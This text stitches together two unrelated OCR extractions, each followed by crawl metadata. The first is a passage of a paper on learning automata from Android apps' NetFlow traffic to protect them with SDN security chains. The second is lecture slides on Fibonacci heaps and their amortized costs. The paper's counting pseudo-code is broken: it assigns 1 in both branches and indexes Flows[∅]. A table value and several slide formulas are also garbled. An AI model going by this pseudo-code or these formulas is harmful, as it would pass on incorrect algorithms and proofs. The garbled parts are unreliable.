is depicted in Figure 1. It relies on a security manager that is responsible for the orchestration of security chains on top of an SDN controller. Our approach is organized into four major phases: netflow acquisition, netflow aggregation and automata learning. The acquisition probe is deployed directly on the smart device for collecting application flows. Using a dedicated protocol, these traces are sent to the security manager. After an aggregation phase (realized by an abstraction module), a process miner is applied during the automata learning phase for building a finite state machine that captures the communication behavior of the application.
B. NetFlow acquisition
The first phase relates to the acquisition of flow traces of applications that are collected on the end device. In the context of protecting Android devices, this acquisition is supported by Flowoid [23], a probe developed in our research group. Deployed on Android devices, Flowoid collects traces of the network behavior of running applications and computes several statistics: the transmission of these traces to the security manager is based on NetFlow, a protocol specially designed for the acquisition of network flows over the network. In terms of information, Flowoid collects for each flow the IP addresses of the source and of the destination and the corresponding port numbers: it also provides information on the network protocol (TCP or UDP), a timestamp labeling the communication, its length, and the numbers of bytes and of packets transmitted.
In order to build a model representing the behavior of applications, the fields that characterize the communications of an application must be identified: actually the IP source and its corresponding port number are not informative because they are bound to the smart device. The information about the network protocol and the numbers of bytes and packets are interesting but not sufficient for building a representative model of the communications of an application. The most relevant fields are the IP destination that defines the remote server that provides the service and the corresponding port number that defines this service. We will therefore initially consider only these fields for building the transitions of our model. The other informations are aggregated in order to infer properties of the traffic, as we describe next.
C. NetFlow aggregation
We rely on flows collected by Flowoid for inferring our application models: however, we need to define a way of aggregating these flows, in order to infer interesting properties on the traffic. If we directly use the IP addresses and port numbers contained in the logs, we obtain very precise application models. The problem of this approach is that whenever the IP address of a service changes, our models do not hold anymore. We therefore need to consider the traffic at a higher level of abstraction. An idea for solving this problem is to consider the type of service the application is communicating with, for instance google or amazon. In other words, we are interested in knowing the owner of the IP addresses contained in a log. This information can be collected by using whois requests: this command returns information about the organization owning the IP address in the field orgname but it can also return a more precise information, viz, the name of the network in the field netname. When whois returns both a netname and an orgname we have to decide which information to use for building the automaton: using only netnames could again result in a too precise automaton containing traces of networks appearing only once; using only orgnames could result in automata integrating many flows aggregated under very general services such as RIPE Network Coordination Centre. As a compromise between these two extremes, we decided to set a threshold $n$: if a netname appears more than $n$ times in the overall log it is considered as significant and it is integrated into the model of the application; otherwise we integrate the orgname. We thereby limit the influence of netnames appearing only once or twice in the input log by setting a high value of $n$; conversely, we can avoid a too strong presence of generic orgnames by setting a lower value of $n$. We complement this strategy for aggregating IP addresses by another one for handling port numbers: although most Android applications only use HTTP or HTTPS ports and do not require such an aggregation strategy, some applications present a high disparity of port numbers that should be aggregated. In that case we can use the most frequent prefixes of port numbers in order to aggregate flows: this approach allows us to group together flows that have the same port number; moreover, when an application frequently communicates on a given port range we can aggregate these flows in order to get a more compact representation of the traffic of applications. The idea is again to only consider prefixes that appear more often than a certain threshold in order to limit the influence of port numbers appearing only once or twice in the flow.
D. Automata learning
The next phase consists in automata learning. The objective is to learn a Markovian model capturing the network behavior of an application. This automaton is implemented by two tables:\textit{States} associates flows to their number of instances, while \textit{Transitions} associates pairs of flows to their probability of succession. The arguments of our algorithm (see Algorithm 1) are the list noted \textit{Flows} of extended flows computed by our aggregation module and the size $N$ of this list; the local variables that we use are \textit{flow} containing the orgname and the port number associated to a flow and \textit{transition} containing two consecutive flows. Each state of the automaton is a class of flows defined by the name of the destination organization and the corresponding port number. Moreover, states can be enriched by auxiliary information in order to represent more details about the corresponding traffic. Concretely, we compute the following standard network information for each state of our automata:
- the maximum numbers of bytes and of packets sent during a flow;
- the average number of bytes and of packets sent during a flow;
- the length of the longest flow;
Algorithm 1 Automaton learning algorithm.
\[
\begin{align*}
\text{States} & := \emptyset \\
\text{Transitions} & := \emptyset \\
\text{Flows} & := \text{List of flows.}
\end{align*}
\]
\[
\begin{align*}
\text{flow} & := \text{Flows}[\emptyset] \\
\text{States}[\text{flow}] & := 1
\end{align*}
\]
\[\triangleright\text{ Initialize the set of states}\]
\[
\begin{align*}
\text{for } i \in 1..N & \text{ do} \\
\text{transition} & := (\text{flow}, \text{Flows}[i]) \\
\text{flow} & := \text{Flows}[i] \\
\text{if } \text{flow} \in \text{States} & \text{ then} \\
\text{States}[\text{flow}] & := 1 \\
\text{else} \\
\text{States}[\text{flow}] & := 1 \\
\text{end if} \\
\text{if } \text{transition} \in \text{Transitions} & \text{ then} \\
\text{Transitions}[\text{transition}] & := 1 \\
\text{else} \\
\text{Transitions}[\text{transition}] & := 1 \\
\text{end if}
\end{align*}
\]
\[\triangleright\text{ Count occurrences of states and transitions}\]
\[
\begin{align*}
\text{for } \text{transition} \in \text{Transitions} & \text{ do} \\
\text{Transitions}[\text{transition}] & := \text{Transitions}[\text{transition}] / \text{States}[\text{transition}_0]
\end{align*}
\]
IV. PERFORMANCE EVALUATION
We evaluated the performance of our prototype through several experiments. In particular, we wanted to compare the performances obtained with different methods of automata learning. The experimental setup was based on a MacBook Air laptop computer with an Intel Core i5 (1.7 GHz) processor and 4Gb of RAM. We considered the three following process/automata miners: Synoptic, its declarative version implemented in Invarimint, and finally our own generation method described in the previous section. For these experiments we used a set of 10 log files, described in Figure 2. From these log files we built the automata with the three methods that we selected, noting that we were not able to get the automata for the applications lequipe, skype and viber with Synoptic because of excessive memory consumption.
In order to compare the automata that we obtained we defined the following evaluation criteria:
- the simplicity of the resulting automata, expressed in terms of numbers of both states and transitions;
- the precision of the model, expressed as the number of flows of other applications rejected by the automata.
A. Simplicity of automata
We only considered exact generation methods in this evaluation: the automata produced by such algorithms are guaranteed to accept all the logs used for learning. However, such automata can be quite complicated to read and to interpret, and their size has an influence on the number of SDN rules that are generated. We therefore chose their simplicity as an evaluation criterion, measured as the numbers of states and of transitions of an automaton. Because these metrics vary with both the method of generation and with the level of abstraction of the input logs, we compared the different methods by applying them on logs aggregated with different values of the threshold parameter \( n \). The results of these experiments are presented in Figure 4.
Without aggregating IP addresses our approach produces automata with in average 105.2 states and 322.8 transitions for this data set. The automata produced by Invarimint and by our approach are of similar complexity on average. Invarimint produces automata that have two more states and one transition less than our approach. In contrast, Synoptic produces automata with in average 11.2 states and 29 transitions more than our approach. Indeed, the automata generated by Synoptic are always the most complex ones. Considering the performances of the aggregation strategy, the best improvement is obtained when replacing the IP addresses by their corresponding orgnames; concerning the influence of the value of \( n \), the strongest impact is observed when aggregating the less frequent netnames, meaning that limiting the influence of values with low frequency of appearance is the most important factor for choosing the threshold value \( n \). For completing these results we also compared the automata sizes for our approach and for Invarimint when applying the port abstraction strategy on the logs of the three most
<table>
<thead>
<tr>
<th>Applications</th>
<th>Number of NetFlow logs</th>
<th>Number of IP/ports</th>
</tr>
</thead>
<tbody>
<tr>
<td>disneyland</td>
<td>282</td>
<td>5</td>
</tr>
<tr>
<td>dropbox</td>
<td>1000</td>
<td>17</td>
</tr>
<tr>
<td>faceswitch</td>
<td>151</td>
<td>70</td>
</tr>
<tr>
<td>lequipe</td>
<td>1000</td>
<td>208</td>
</tr>
<tr>
<td>meteo</td>
<td>1000</td>
<td>89</td>
</tr>
<tr>
<td>ninegag</td>
<td>275</td>
<td>42</td>
</tr>
<tr>
<td>pokemongo</td>
<td>779</td>
<td>3</td>
</tr>
<tr>
<td>ratp</td>
<td>1000</td>
<td>442</td>
</tr>
<tr>
<td>skype</td>
<td>1000</td>
<td>176</td>
</tr>
<tr>
<td>viber</td>
<td>1000</td>
<td>1.9</td>
</tr>
</tbody>
</table>
Figure 2. Set of applications used during our experiments.
- the average length of the set of flows;
- the rates of TCP/UDP traffic.
As an example, we consider the logs of 275 flows generated by the pokemongo application: these traces contain communications of the application with 24 different hosts on the ports 80 and 443. Our aggregation strategy groups the 24 IP addresses of these logs under 7 different orgnames: based on this information we run our automata learning algorithm and obtain the automaton of Figure 3. This automaton contains 10 states and 33 transitions; to give a comparison, the automata mined directly from the IP addresses contains 26 states and 77 transitions. We also applied Invarimint and Synoptic to this example: Invarimint produces an automaton with 12 states and 32 transitions without probabilities and Synoptic produces an automaton with 28 states and 65 transitions.
complex applications: lequipe, skype and viber. During these experiments we considered the influence of the threshold on port numbers varying from 0 to 10. These results are described in Figure 5.
The high number of states and of transitions of these automata is caused by the complexity of the applications. The complexity of the automata decreases most significantly for threshold values between 0 and 3. This can be explained by the peer-to-peer profile of the considered applications that causes many port numbers to appear only one or two times. Port numbers appearing more than 4 or 5 times can be considered as being representative of the behavior of the application, nevertheless, for logs where such values would constitute an important part of the traffic it could be interesting to consider higher threshold values.
B. Precision of automata
The next criterion that we considered is the precision of the automata: given an application, we define the precision of its automaton as the percentage of logs of other applications that it rejects, in other words as the rate of foreign traffic rejected by the automaton. Having a high precision is important for ensuring that the traffic of an application will not be blocked by other automata. On the other hand, if two automata match the same traffic, their respective sets of rules could be joined into a set that is useful for both applications. We evaluated the precision of the automata generated by each method.
for the different applications, when using the orgname-based abstraction: these results are depicted in Figure 6.
One can observe that the precision depends more on the type of application that is considered than on the method used for generating the automata. Moreover, for some applications, using the orgnames for computing the automata is sufficient for having a satisfactory precision. However for others, such as lequipe, precision is unsatisfactory. This difference is due to the fact that some applications only contact private services such as disney world wide service whereas others contact many public services such as Amazon or Google. For completing these results we ran another set of experiments with automata generated from the IP addresses of the remote hosts that the application contacts: these results are presented in Figure 7. Again, the precision depends more on the type of application that is considered than on the method used for generating the automata. We can see that the precision of the automata is better without abstracting the logs²: this fact confirms our strategy of using the IP addresses for matching the traffic at the network level. However, the strong overlaps observed when using the orgnames for generating the automata could be exploited for identifying sections of application traffic that can be protected by the same types of chains, so the
²Observe the different scale of the ordinate axis in Figure 7.
V. CONCLUSIONS AND FUTURE WORK
We propose in this paper a technique for learning the behavior of Android applications, as a starting point for generating SDN policies for protecting them. Our solution collects traces of NetFlow records of their applications, aggregates them, and finally builds finite-state models. We have described the architecture supporting our approach, as well as the interactions among its different components. We have designed and implemented aggregation and automata learning algorithms that allow precise and generic models of applications to be built, with the aim of using these models for configuring chains of security functions specified in the Pyretic language and verified with our Synaptic checker. We have developed a prototype of our solution implementing these algorithms, and evaluated its performances through a series of experiments based on the backend process miners Synoptic and Invarmint, in addition to our own algorithm. The experiments showed the benefits and limits of these methods in terms of simplicity, precision, genericity, and expressivity, while varying the level of aggregation of the input flow traces.
As future perspectives, we work on the generation or selection of chains of security functions, based on the inferred finite-state automata. We are also interested in further optimizing the formal models that we generate, based on the nature of the properties to ensure. Finally, we want to investigate further the integration of this automata learning method into the context of an automated management framework for security chains with our Synaptic checker.
REFERENCES
|
{"Source-Url": "https://hal.science/hal-01892390/file/main.pdf", "len_cl100k_base": 5319, "olmocr-version": "0.1.49", "pdf-total-pages": 8, "total-fallback-pages": 0, "total-input-tokens": 22794, "total-output-tokens": 7454, "length": "2e12", "weborganizer": {"__label__adult": 0.0004425048828125, "__label__art_design": 0.0003762245178222656, "__label__crime_law": 0.0008859634399414062, "__label__education_jobs": 0.000965118408203125, "__label__entertainment": 0.00015735626220703125, "__label__fashion_beauty": 0.00021946430206298828, "__label__finance_business": 0.0004549026489257813, "__label__food_dining": 0.0003795623779296875, "__label__games": 0.0009746551513671876, "__label__hardware": 0.0030059814453125, "__label__health": 0.0008940696716308594, "__label__history": 0.0003495216369628906, "__label__home_hobbies": 0.00013148784637451172, "__label__industrial": 0.0006036758422851562, "__label__literature": 0.0003535747528076172, "__label__politics": 0.0004477500915527344, "__label__religion": 0.0004088878631591797, "__label__science_tech": 0.383544921875, "__label__social_life": 0.00016057491302490234, "__label__software": 0.0306396484375, "__label__software_dev": 0.57373046875, "__label__sports_fitness": 0.000308990478515625, "__label__transportation": 0.0005421638488769531, "__label__travel": 0.00019073486328125}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 30970, 0.02701]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 30970, 0.36227]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 30970, 0.88204]], "google_gemma-3-12b-it_contains_pii": [[0, 1092, false], [1092, 6699, null], [6699, 9201, null], [9201, 15534, null], [15534, 21443, null], [21443, 22919, null], [22919, 26378, null], [26378, 30970, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1092, true], [1092, 6699, null], [6699, 9201, null], [9201, 15534, null], [15534, 21443, null], [21443, 22919, null], [22919, 26378, null], [26378, 30970, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 30970, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 30970, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 30970, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 30970, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 30970, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 30970, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 30970, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 30970, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 30970, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 30970, null]], "pdf_page_numbers": [[0, 1092, 1], [1092, 6699, 2], [6699, 9201, 3], [9201, 15534, 4], [15534, 21443, 5], [21443, 22919, 6], [22919, 26378, 7], [26378, 30970, 8]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 30970, 0.09023]]}
|
olmocr_science_pdfs
|
2024-11-26
|
2024-11-26
|
32295efb8324381d11eb9cb9cbe4cba71cbd32ad
|
Algorithm Theory
16 Fibonacci Heaps
Christian Schindelhauer
Albert-Ludwigs-Universität Freiburg
Institut für Informatik
Rechnernetze und Telematik
Wintersemester 2007/08
Priority Queues: Operations
- Priority queue Q
- Data structure for maintaining a set of elements, each having an associated priority
- Operations:
- Q.initialize():
- creates empty queue Q
- Q.isEmpty():
- returns true iff Q is empty
- Q.insert(e):
- inserts element e into Q and returns a pointer to the node containing e
- Q.deletemin():
- returns the element of Q with minimum key and deletes it
- Q.min():
- returns the element of Q with minimum key
- Q.decreasekey(v,k):
- decreases the value of v’s key to the new value
Priority Queues: Operations
- Additional Operations:
- Q.delete(v):
- deletes node v and its elements from Q
- Q.meld(Q´):
- unites Q and Q´ (concatenable queue)
- Q.search(k):
- searches for the element with key k in Q (searchable queue)
- possibly many more,
- e.g. predecessor, successor, max, deletemax
## Priority Queues: Implementations
<table>
<thead>
<tr>
<th>Operation</th>
<th>List</th>
<th>Heap</th>
<th>Binomial Queue</th>
<th>Fibonacci Heap</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>insert</strong></td>
<td>O(1)</td>
<td>O(log n)</td>
<td>O(log n)</td>
<td>O(1)</td>
</tr>
<tr>
<td><strong>min</strong></td>
<td>O(n)</td>
<td>O(1)</td>
<td>O(log n)</td>
<td>O(1)</td>
</tr>
<tr>
<td><strong>delete-min</strong></td>
<td>O(n)</td>
<td>O(log n)</td>
<td>O(log n)</td>
<td>O(log n)*</td>
</tr>
<tr>
<td><strong>meld (m≤n)</strong></td>
<td>O(1)</td>
<td>O(n) or O(m log n)</td>
<td>O(log n)</td>
<td>O(1)</td>
</tr>
<tr>
<td><strong>decrease-key</strong></td>
<td>O(1)</td>
<td>O(log n)</td>
<td>O(log n)</td>
<td>O(1)*</td>
</tr>
</tbody>
</table>
* = amortized cost
\[ Q.delete(e) = Q.decreasekey(e, \infty) + Q.deletemin() \]
Fibonacci Heaps
- „Lazy meld“ version of binomial queues:
- The melding of trees having the same order is delayed until the next `deletemin` operation
- Definition
- A Fibonacci heap $Q$ is a collection of heap-ordered trees.
- Variables
- $Q.min$
- root of the tree containing the minimum key
- $Q.rootlist$
- circular, doubly linked, unordered list containing the roots of all trees
- $Q.size$
- number of nodes currently in $Q$
Structure of Fibonacci Heaps
- Let B be a heap-ordered tree in Q.rootlist
- B.childlist: circular, doubly linked and unordered list of the children of B
- Advantages of circular, doubly linked lists
- Deleting an element takes constant time
- Concatenating two lists takes constant time
Structure of a node
<table>
<thead>
<tr>
<th></th>
<th>parent</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>entry</td>
</tr>
<tr>
<td></td>
<td>degree</td>
</tr>
<tr>
<td></td>
<td>child</td>
</tr>
<tr>
<td></td>
<td>mark</td>
</tr>
</tbody>
</table>
left
right
Trees in Fibonacci Heaps
Structure of a node
<table>
<thead>
<tr>
<th>parent</th>
</tr>
</thead>
<tbody>
<tr>
<td>entry</td>
</tr>
<tr>
<td>degree</td>
</tr>
<tr>
<td>child</td>
</tr>
<tr>
<td>mark</td>
</tr>
</tbody>
</table>
left
right
min
7
2
13 15
19 11
13 45 8
24
83 79
36
21
15
Fibonacci-Trees: Meld (Link)
Meld operation of trees $B$, $B'$ of same degree $k$
**Link-Operation:**
1. $\text{rank}(B) = \text{rank}(B') + 1$
2. $B'.\text{mark} = \text{false}$
Can be computed in constant time: $O(1)$
Resulting tree has degree $k+1$
Difference compared to Binomial Queues:
Trees do not need to have the binomial form.
Operations on Fibonacci Heaps
Q.initialize(): Q.rootlist= Q.min = null
Q.meld(F-Heap F):
/* concatenate root lists */
1 Q.min.right.left = F.min.left
2 F.min.left.right = Q.min.right
3 Q.min.right = F.min
4 F.min.left = Q.min
5 Q.min = min { F.min, Q.min }
/* no cleaning up - delayed until next deletemin */
Q.insert(e):
1. generate a new node with element e → Q′
2. Q.meld(Q′)
Q.min():
return Q.min.key
Fibonacci-Heaps: Deletemin
Q.deletemin()
/*Delete the node with minimum key from Q and return its
element.*/
1 m = Q.min()
2 if Q.size() > 0
3 then remove Q.min() from Q.rootlist
4 add Q.min.childlist to Q.rootlist
5 Q.consolidate()
/* Repeatedly meld nodes in the root list having the same
degree. Then determine the element with minimum key. */
6 return m
Fibonacci Heaps Maximum Degree of a Node
› **Definition**
• \( \text{rank}(v) \) = degree of a node \( v \) in \( Q \)
• \( \text{rank}(Q) \) = maximum degree of any node in \( Q \)
› **Assumption:**
• \( \text{rank}(Q) \leq 2 \log n \)
- where \( n = Q.\text{size} \)
Cost of \textit{deletemin}
- Deleting has constant time cost $O(1)$
- Time cost results from the consolidate operation
- i.e. the length of the root list and the number of necessary link-operations
- How to efficiently perform the consolidate operation?
- Observation:
- Every root must be considered at least once
- For every possible rank there is at most one node
**delete**\textit{emin}: Example

deletemin: Example
deletemin: Example
Rank array: 0 1 2 3 4 5
7 13 45 8 19 11
15 36 21 24 83 52 79
consolidate: Example
Rank array:
0 1 2 3 4 5
7
13 45 8
15 36 21
19
24
83 52
79
11
**consolidate**: Example
Rank array:
```
0 1 2 3 4 5
```
```
7
13
15
19
24
83
52
79
45
8
36
21
11
```
**consolidate**: Example
Rank array:
```
0 1 2 3 4 5
```
Diagram:
```
7 → 45 → 8
→ 36
→ 21
→ 13
→ 15
→ 19
→ 24
→ 83
→ 52
→ 79
```
consolidate: Example
Rank array:
\[
\begin{array}{cccccc}
0 & 1 & 2 & 3 & 4 & 5 \\
\end{array}
\]
\[
\begin{array}{cccccc}
7 & 8 & 36 & 21 & 13 & 11 \\
\end{array}
\]
\[
\begin{array}{cccccc}
8 & 15 & 19 & 24 & 83 & 45 \\
\end{array}
\]
\[
\begin{array}{cccccc}
19 & 52 & 79 \\
\end{array}
\]
consolidate: Example
Analysis of *consolidate*
```java
rankArray = new FibNode[maxRank(n)+1]; // Create array
for „each FibNode N in rootlist“ {
while (rankArray[N.rank] != null) { // position occupied
N = link(N, rankArray[N.rank]); // link trees
rankArray[N.rank-1] = null; // delete old position
}
rankArray[N.rank] = N; // insert into the array
}
```
Analysis
for „each FibNode N in rootlist“ {
while (rankArray[N.rank] != null) {
N = link(N, rankArray[N.rank]);
rankArray[N.rank-1] = null;
}
rankArray[N.rank] = N;
}
Let $k = \#\text{root node}$ before the consolidation. These $k$ nodes can be classified as
$W = \{\text{Nodes which are in the root list in the end}\}$
$L = \{\text{Nodes which are appended to another node}\}$
We have: $\text{cost(for-loop)} = \text{cost}(W) + \text{cost}(L)$
$= |\text{rankArray}| + \#\text{links}$
Cost of `deletemin`
- **Worst case time:** \( O(\text{maxRank}(n)) + O(\# \text{links}) \)
- where \( \text{maxRank}(n) \) is the largest possible array entry, i.e. the largest possible root degree
- **Worst case:** \( \# \text{links} = n-2 \)
- happens usually once at the beginning
- **Amortized Analysis**
- sums up all the running times
- and averages (worst case!) over all single Operations
Fibonacci-Heaps: `decreasekey`
Q.`decreasekey`(FibNode N, int k):
- Decrease the key `N` to the value `k`
- If the heap condition does not hold (`k < N.parent.key`):
- Disconnect `N` from its father (using `cut`) and append it (to the right of the minimal node) into the rootlist and unmark it
- If the father is marked (`N.parent.mark == true`), disconnect it from his father and unmark it; if his father is also marked, disconnect it, etc. ("cascading cuts")
- Mark the node whose son is disconnected at last (if it is node a root node).
- Update the minimum pointer (if `k < min.key`).
Example for \textit{decreasekey}
Decrease key 64 to 14
Example for \textit{decreasekey}
Example for *decreasekey*
Example for \textit{decreasekey}
Example for *decreasekey*
Cost of \textit{decreasekey}
- Placement of key and comparison with father: $O(1)$
- Disconnect from father node and insertion into root list: $O(1)$
- Cascading cuts: $\#\text{cuts}$
- Mark of the last node: $O(1)$
$\Rightarrow$ Costs depends on the number of „cascading cuts“.
Worst case: $\#\text{cuts} = n-1$
Amortized Analysis gives smaller value
Amortized Analysis – Potential Method
- Assign every state \( i \) of the data structure a value \( \Phi_i \) (Potential)
- \( \Phi_i \) = potential after the \( i \)-th operation
- The amortized costs \( a_i \) of the \( i \)-th operation is defined as
- \( a_i = c_i + (\Phi_i - \Phi_{i-1}) \),
- the actual cost plus the change of the potential by the \( i \)-th operation
- Define \( \Phi_i = w_i + 2m_i \)
- where \( w_i \) = number of root nodes
and \( m_i \) = number of marked nodes (no roots)
- Example: insert
- real costs: \( c_i = O(1) \)
Potential increases by 1, i.e. \( \Phi_i - \Phi_{i-1} = 1 \)
\( a_i = c_i + 1 \)
Potential: Example
\[ w_i = \]
\[ m_i = \]
\[ \Phi_i = \]
Potential Method: Cost of \textit{insert}
- Real coast: \( c_i = O(1) \)
- Change of potential:
\( \Phi_i - \Phi_{i-1} = 1 \)
- Amortized costs: \( a_i = c_i + 1 \)
Potential Method: Cost of \textit{decreasekey}
- Real cost: \( c_i = O(1) + \text{#cascading cuts} \)
- Change of potential:
\[
w_i \leq w_{i-1} + 1 + \text{#cascading cuts}
\]
\[
m_i \leq m_{i-1} + 1 - \text{#cascading cuts}
\]
\[
\Phi_i - \Phi_{i-1} = w_i + 2 \cdot m_i - (w_{i-1} + 2 \cdot m_{i-1})
= w_i - w_{i-1} + 2 \cdot (m_i - m_{i-1})
\leq 1 + \text{#cascading cuts} + 2 \cdot (1 - \text{#cascading cuts})
= 3 - \text{#cascading cuts}
\]
- Amortized costs: \( a_i = c_i + (\Phi_i - \Phi_{i-1}) \)
\[
\leq O(1) + \text{#cascading cuts} + 3 - \text{#cascading cuts} = O(1)
\]
Potential Cost
Cost of *deletemin*
- Real cost: \( c_i = O(\text{maxRank}(n)) + \#\text{links} \)
- Change of potential:
\[
w_i = w_{i-1} - 1 + \text{rank}(\text{min}) - \#\text{links} \leq w_{i-1} + \text{maxRank}(n) - \#\text{links}
\]
\[
m_i \leq m_{i-1}
\]
\[
\Phi_i - \Phi_{i-1} = w_i + 2m_i - (w_{i-1} + 2m_{i-1})
\]
\[
= w_i - w_{i-1} + 2(m_i - m_{i-1})
\]
\[
\leq \text{maxRank}(n) - \#\text{links}
\]
- Amortized costs:
\[
a_i = c_i + (\Phi_i - \Phi_{i-1})
\]
\[
\leq O(\text{maxRank}(n)) + \#\text{links} + \text{maxRank}(n) - \#\text{links}
\]
\[
= O(\text{maxRank}(n))
\]
$maxRank$ is the maximal possible number of sons which a node can have in a Fibonacci-Heap with $n$ elements.
- We want to show that this number is at most $O(\log n)$.
- Every node has a minimum number of successors which is exponential in the number of sons.
Lemma 1:
Let $N$ be a node in a Fibonacci-Heap and let $k = N.\text{rank}$. Consider the sons $C_1, ..., C_k$ of $N$ in the order how they have been inserted (via $\text{link}$) to $N$. We have:
1. $C_1.\text{rank} \geq 0$
2. $C_i.\text{rank} \geq i - 2$ für $i = 2, ..., k$
Proof: (1) straight forward
(2) When $C_i$ became a son of $N$ nodes $C_1, ..., C_{i-1}$ were already sons of $N$, i.e. $N.\text{rank} \geq i-1$. Since $\text{link}$ always connects nodes with the same rank we had at the insertion also $C_i.\text{rank} \geq i-1$.
Since then $C_i$ might have lost only one son (because of $\text{cascading cuts}$).
Hence we have: $C_i.\text{rank} \geq i - 2$
Lemma 2:
Let $N$ be a node in a Fibonacci Heap and let $k = N$.rank.
Let $size(N) = \#$ be the number of nodes in a sub-tree with root $N$.
Then: $size(N) \geq F_{k+2} \geq 1.618^k$
i.e. a node with $k$ children has at least $F_{k+2}$ successors
(including itself).
Proof: Let $S_k = \min \{ \text{size}(N) \mid N \text{ with } N.\text{rank} = k \}$, i.e. the smallest possible size of tree with root rank $k$.
(clearly $S_0 = 1$ and $S_1 = 2$)
Let $C_1, \ldots, C_k$ be the children $N$ in the order how they were inserted into $N$.
We have
$$\text{size}(N) \geq S_k = \sum_{i=1}^{k} S_{C_{i}.\text{rank}}$$
$$= 1 + 1 + \sum_{i=2}^{k} S_{i-2}$$
$$= 2 + \sum_{i=2}^{k} S_{i-2}$$
maxRank(n)
Remember: Fibonacci-Numbers
\[
F_0 = 0 \\
F_1 = 1 \\
F_{k+2} = F_{k+1} + F_k \quad \text{für } k \geq 0
\]
Fibonacci numbers grow exponentially where \( F_{k+2} \geq 1.618^k \)
Furthermore:
\[
F_{k+2} = 2 + \sum_{i=2}^{k} F_i
\]
(Follows by straight-forward induction over \( k \).)
Summary
\[ F_{k+2} = 2 + \sum_{i=2}^{k} F_i \quad \quad S_k = 2 + \sum_{i=2}^{k} S_{i-2} \]
- Furthermore \( S_0 = 1 = F_2 \) and \( S_1 = 2 = F_3 \)
- So, it follows: \( S_k = F_{k+2} \) \hspace{1cm} (Proof by induction)
- For a node \( N \) with rank \( k \) we observe
\[ \text{size}(N) \geq S_k = F_{k+2} \geq 1.618^k \]
Theorem: The maximal value of $\text{maxRank}(n)$ of any node in a Fibonacci-Heap with $n$ nodes is bound by $O(\log n)$.
Proof: Let $N$ be an arbitrary node of a Fibonacci-Heaps with $n$ nodes and let $k = N.\text{rank}$.
Lemma 2 implies $n \geq \text{size}(N) \geq 1.618^k$
Therefore $k \leq \log_{1.618}(n) = O(\log n)$
## Summary
<table>
<thead>
<tr>
<th></th>
<th>List</th>
<th>Heap</th>
<th>Binomial Queue</th>
<th>Fibonacci Heap</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>insert</strong></td>
<td>O(1)</td>
<td>O(log n)</td>
<td>O(log n)</td>
<td>O(1)</td>
</tr>
<tr>
<td><strong>min</strong></td>
<td>O(n)</td>
<td>O(1)</td>
<td>O(log n)</td>
<td>O(1)</td>
</tr>
<tr>
<td><strong>delete-min</strong></td>
<td>O(n)</td>
<td>O(log n)</td>
<td>O(log n)</td>
<td>O(log n)*</td>
</tr>
<tr>
<td><strong>decrease key</strong></td>
<td>O(1)</td>
<td>O(log n)</td>
<td>O(log n)</td>
<td>O(1)*</td>
</tr>
<tr>
<td><strong>delete</strong></td>
<td>O(n)</td>
<td>O(log n)</td>
<td>O(log n)</td>
<td>O(log n)*</td>
</tr>
</tbody>
</table>
* = amortized cost
\[ Q.delete(e) = Q.decreasekey(e, \infty) + Q.deletemin() \]
Algorithm Theory
16 Fibonacci Heaps
Christian Schindelhauer
Albert-Ludwigs-Universität Freiburg
Institut für Informatik
Rechnernetze und Telematik
Wintersemester 2007/08
|
{"Source-Url": "http://archive.cone.informatik.uni-freiburg.de/teaching/vorlesung/algorithmentheorie-w08/slides/16-Fibonacci-Heaps.pdf", "len_cl100k_base": 5030, "olmocr-version": "0.1.49", "pdf-total-pages": 44, "total-fallback-pages": 0, "total-input-tokens": 68014, "total-output-tokens": 6654, "length": "2e12", "weborganizer": {"__label__adult": 0.0005121231079101562, "__label__art_design": 0.0005192756652832031, "__label__crime_law": 0.0005507469177246094, "__label__education_jobs": 0.0010395050048828125, "__label__entertainment": 0.00013458728790283203, "__label__fashion_beauty": 0.0002391338348388672, "__label__finance_business": 0.00028228759765625, "__label__food_dining": 0.0006608963012695312, "__label__games": 0.0013561248779296875, "__label__hardware": 0.0025043487548828125, "__label__health": 0.0014104843139648438, "__label__history": 0.0005049705505371094, "__label__home_hobbies": 0.0002319812774658203, "__label__industrial": 0.0008211135864257812, "__label__literature": 0.0004606246948242187, "__label__politics": 0.0003614425659179687, "__label__religion": 0.001018524169921875, "__label__science_tech": 0.157958984375, "__label__social_life": 0.00012814998626708984, "__label__software": 0.006072998046875, "__label__software_dev": 0.8212890625, "__label__sports_fitness": 0.0006418228149414062, "__label__transportation": 0.0009636878967285156, "__label__travel": 0.0003275871276855469}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 13441, 0.08103]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 13441, 0.72709]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 13441, 0.64964]], "google_gemma-3-12b-it_contains_pii": [[0, 172, false], [172, 739, null], [739, 1068, null], [1068, 1754, null], [1754, 2210, null], [2210, 2630, null], [2630, 2813, null], [2813, 3157, null], [3157, 3566, null], [3566, 3937, null], [3937, 4218, null], [4218, 4598, null], [4598, 4666, null], [4666, 4685, null], [4685, 4767, null], [4767, 4852, null], [4852, 5000, null], 